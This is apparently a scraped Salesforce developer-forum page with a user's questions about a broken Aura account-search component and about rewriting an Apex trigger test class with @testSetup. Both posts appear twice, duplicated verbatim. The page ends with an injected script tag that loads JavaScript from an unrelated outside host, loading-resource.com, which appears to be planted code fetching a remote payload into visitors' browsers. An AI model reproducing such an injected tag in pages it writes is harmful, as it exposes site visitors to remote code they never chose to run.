• Sudhaaaa
  • NEWBIE
  • 20 Points
  • Member since 2019

  • Chatter
    Feed
  • 0
    Best Answers
  • 0
    Likes Received
  • 0
    Likes Given
  • 3
    Questions
  • 5
    Replies
Hi,
From this below code i am getting list of accounts with search bar. when i search for  particular account, the below code is not working.
what should i add  to filter records from list of records which i got. please help me out from this issue.

Thank you :)


Component:
<aura:component  controller="AccountRecord">
   <aura:handler name="init" value="{!this}" action="{!c.doInit}"/> 
    <aura:attribute name="namevalue" type="string"/>
    <aura:attribute name="Account" type="Account"/>
    
    <lightning:input label='' value="{!v.namevalue}" /> 
    <br></br>
   <div><lightning:button label="Search" onclick="{!c.handleClick}"/><br/></div>
    
   <!-- <lightning:button variant="destructive" label="search" onclick="{! c.handleClick }"/> -->
    
    <table class="slds-table slds-table_cell-buffer slds-table_bordered ">
        <thead>
            <tr class="slds-line-height_reset">
                <th scope="col">
                    <div class="slds-truncate">ACCOUNT ID</div>
                </th> 
                <th scope="col">
                    <div class="slds-truncate">ACCOUNT NAME</div>
                </th> 
                <th scope="col">
                    <div class="slds-truncate">STATUS</div>
                </th> 
                
            </tr>
             </thead>
        
         <aura:iteration items="{!v.Account}" var="account">
            <tbody>
                
                <tr class="slds-hint-parent">
                    <td scope="row" data-label="Account Id">
                        <div class="slds-truncate"> {!account.Id}</div>
                    </td>
                    <td scope="row" data-label="Account Name">
                        <div class="slds-truncate"> {!account.Name}</div>
                    </td>
                    <td scope="row" data-label="Account Status">
                        <div class="slds-truncate"> {!account.Status__c}</div>
                    </td>     
                </tr>
                
            </tbody>
              </aura:iteration>       
       
    </table>
    
    
</aura:component>

Controller
({
        handleClick : function(component, event, helper) {
        var acc1=component.get("v.namevalue");
         var action = component.get("c.accountInfo");
        action.setParams({
            acc: acc1
        });
        action.setCallback(this, function(response){
            var similarProperties = response.getReturnValue();
            component.set("v.Account", similarProperties);
        });
        $A.enqueueAction(action);
                }, 
    doInit: function(component, event, helper){
    var action = component.get("c.accountInfo1");
        action.setCallback(this, function(response){
            debugger;
            var similarProperties1 = response.getReturnValue();
            console.log(similarProperties1);
            //var myJSON = JSON.stringify(similarProperties1);
            //alert(myJSON);
            component.set("v.Account", similarProperties1);
        });
        $A.enqueueAction(action);
    }
})

Apex class:
public class AccountRecord {
    @AuraEnabled
    public static String accountInfo(String acc){
        Account ac=[select id,name,status__c from account where name=:acc limit 1];
        String acc1=ac.id+' '+ac.name+' '+ac.status__c;
        return acc1;
       
    }
     @AuraEnabled
    public static List<Account> accountInfo1(){
          list <Account> Ac1=[select id,name,status__c from account];
        return Ac1;
       
    } 
}




 
Hi, 
can anyone help me to write below TestClass with the help of @testSetup.
CompanyInformationTriggerHandlerTest:
@isTest
public class CompanyInformationTriggerHandlerTest {
    static testmethod void insertNewCompanyInformation(){
        Company_Information__c ci = new Company_Information__c();
        ci.Legal_Entity_Name__c ='Test123';
        ci.DBA_Name__c='Test DBA';
        ci.Business_Street_Address_Line_1__c='Address1';
        ci.Business_Street_Address_Line_2__c='Address2';
        ci.Business_Mailing_City__c='city';
        ci.Business_Mailing_Country__c='country';
        ci.Shipping_Street_Address_Line_1__c='Address3';
        ci.Business_Street_Address_Line_2__c='Address4';
        ci.Shipping_Mailing_City__c='Scity';
        ci.Shipping_Mailing_Country__c='Scountry';
        ci.Status__c='Active';
        insert ci;
    }

}
Handler Class:
public class CompanyInformationTriggerHandler {
    
    public void updatevalue(List<Company_Information__c> companyInfoList){
         List<Affirmation__c> af = new List <Affirmation__c>();
         for(Company_Information__c cf:companyInfoList)
         
        {
              Affirmation__c af1=new Affirmation__c(Name=cf.Name,
                                                    Legal_Entity_Name__c = cf.Legal_Entity_Name__c,
                                                    DBA_Name__c=cf.DBA_Name__c,
                                                    Business_Street_Address_Line_1__c=cf.Business_Street_Address_Line_1__c,
                                                      Business_Street_Address_Line_2__c=cf.Business_Street_Address_Line_2__c,
                                                    Business_Mailing_City__c=cf.Business_Mailing_City__c,
                                                    Business_Mailing_Country__c=cf.Business_Mailing_Country__c,
                                                    Shipping_Street_Address_Line_1__c=cf.Shipping_Street_Address_Line_1__c,
                                                      Shipping_Street_Address_Line_2__c=cf.Shipping_Street_Address_Line_2__c,
                                                    Shipping_Mailing_City__c=cf.Shipping_Mailing_City__c,
                                                    Shipping_Mailing_Country__c=cf.Shipping_Mailing_Country__c,
                                                       Company_Information__c=cf.Id
                                                    );
            if(cf.Status__c=='Active')
            {
                af1.Status__c='Draft';
            }
           af.add(af1);
    }
    insert af;
}
    }
Trigger:
trigger CompanyInformationTrigger on Company_Information__c (After insert, before update)
{
   CompanyInformationTriggerHandler handler = new CompanyInformationTriggerHandler();
        
    handler.updatevalue(Trigger.new);
}
Hi,
From this below code i am getting list of accounts with search bar. when i search for  particular account, the below code is not working.
what should i add  to filter records from list of records which i got. please help me out from this issue.

Thank you :)


Component:
<aura:component  controller="AccountRecord">
   <aura:handler name="init" value="{!this}" action="{!c.doInit}"/> 
    <aura:attribute name="namevalue" type="string"/>
    <aura:attribute name="Account" type="Account"/>
    
    <lightning:input label='' value="{!v.namevalue}" /> 
    <br></br>
   <div><lightning:button label="Search" onclick="{!c.handleClick}"/><br/></div>
    
   <!-- <lightning:button variant="destructive" label="search" onclick="{! c.handleClick }"/> -->
    
    <table class="slds-table slds-table_cell-buffer slds-table_bordered ">
        <thead>
            <tr class="slds-line-height_reset">
                <th scope="col">
                    <div class="slds-truncate">ACCOUNT ID</div>
                </th> 
                <th scope="col">
                    <div class="slds-truncate">ACCOUNT NAME</div>
                </th> 
                <th scope="col">
                    <div class="slds-truncate">STATUS</div>
                </th> 
                
            </tr>
             </thead>
        
         <aura:iteration items="{!v.Account}" var="account">
            <tbody>
                
                <tr class="slds-hint-parent">
                    <td scope="row" data-label="Account Id">
                        <div class="slds-truncate"> {!account.Id}</div>
                    </td>
                    <td scope="row" data-label="Account Name">
                        <div class="slds-truncate"> {!account.Name}</div>
                    </td>
                    <td scope="row" data-label="Account Status">
                        <div class="slds-truncate"> {!account.Status__c}</div>
                    </td>     
                </tr>
                
            </tbody>
              </aura:iteration>       
       
    </table>
    
    
</aura:component>

Controller
({
        handleClick : function(component, event, helper) {
        var acc1=component.get("v.namevalue");
         var action = component.get("c.accountInfo");
        action.setParams({
            acc: acc1
        });
        action.setCallback(this, function(response){
            var similarProperties = response.getReturnValue();
            component.set("v.Account", similarProperties);
        });
        $A.enqueueAction(action);
                }, 
    doInit: function(component, event, helper){
    var action = component.get("c.accountInfo1");
        action.setCallback(this, function(response){
            debugger;
            var similarProperties1 = response.getReturnValue();
            console.log(similarProperties1);
            //var myJSON = JSON.stringify(similarProperties1);
            //alert(myJSON);
            component.set("v.Account", similarProperties1);
        });
        $A.enqueueAction(action);
    }
})

Apex class:
public class AccountRecord {
    @AuraEnabled
    public static String accountInfo(String acc){
        Account ac=[select id,name,status__c from account where name=:acc limit 1];
        String acc1=ac.id+' '+ac.name+' '+ac.status__c;
        return acc1;
       
    }
     @AuraEnabled
    public static List<Account> accountInfo1(){
          list <Account> Ac1=[select id,name,status__c from account];
        return Ac1;
       
    } 
}




 
Hi, 
can anyone help me to write below TestClass with the help of @testSetup.
CompanyInformationTriggerHandlerTest:
@isTest
public class CompanyInformationTriggerHandlerTest {
    static testmethod void insertNewCompanyInformation(){
        Company_Information__c ci = new Company_Information__c();
        ci.Legal_Entity_Name__c ='Test123';
        ci.DBA_Name__c='Test DBA';
        ci.Business_Street_Address_Line_1__c='Address1';
        ci.Business_Street_Address_Line_2__c='Address2';
        ci.Business_Mailing_City__c='city';
        ci.Business_Mailing_Country__c='country';
        ci.Shipping_Street_Address_Line_1__c='Address3';
        ci.Business_Street_Address_Line_2__c='Address4';
        ci.Shipping_Mailing_City__c='Scity';
        ci.Shipping_Mailing_Country__c='Scountry';
        ci.Status__c='Active';
        insert ci;
    }

}
Handler Class:
public class CompanyInformationTriggerHandler {
    
    public void updatevalue(List<Company_Information__c> companyInfoList){
         List<Affirmation__c> af = new List <Affirmation__c>();
         for(Company_Information__c cf:companyInfoList)
         
        {
              Affirmation__c af1=new Affirmation__c(Name=cf.Name,
                                                    Legal_Entity_Name__c = cf.Legal_Entity_Name__c,
                                                    DBA_Name__c=cf.DBA_Name__c,
                                                    Business_Street_Address_Line_1__c=cf.Business_Street_Address_Line_1__c,
                                                      Business_Street_Address_Line_2__c=cf.Business_Street_Address_Line_2__c,
                                                    Business_Mailing_City__c=cf.Business_Mailing_City__c,
                                                    Business_Mailing_Country__c=cf.Business_Mailing_Country__c,
                                                    Shipping_Street_Address_Line_1__c=cf.Shipping_Street_Address_Line_1__c,
                                                      Shipping_Street_Address_Line_2__c=cf.Shipping_Street_Address_Line_2__c,
                                                    Shipping_Mailing_City__c=cf.Shipping_Mailing_City__c,
                                                    Shipping_Mailing_Country__c=cf.Shipping_Mailing_Country__c,
                                                       Company_Information__c=cf.Id
                                                    );
            if(cf.Status__c=='Active')
            {
                af1.Status__c='Draft';
            }
           af.add(af1);
    }
    insert af;
}
    }
Trigger:
trigger CompanyInformationTrigger on Company_Information__c (After insert, before update)
{
   CompanyInformationTriggerHandler handler = new CompanyInformationTriggerHandler();
        
    handler.updatevalue(Trigger.new);
}

Hi,

 

pls give me replay the answer

 

 

 

 

Thanks.

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>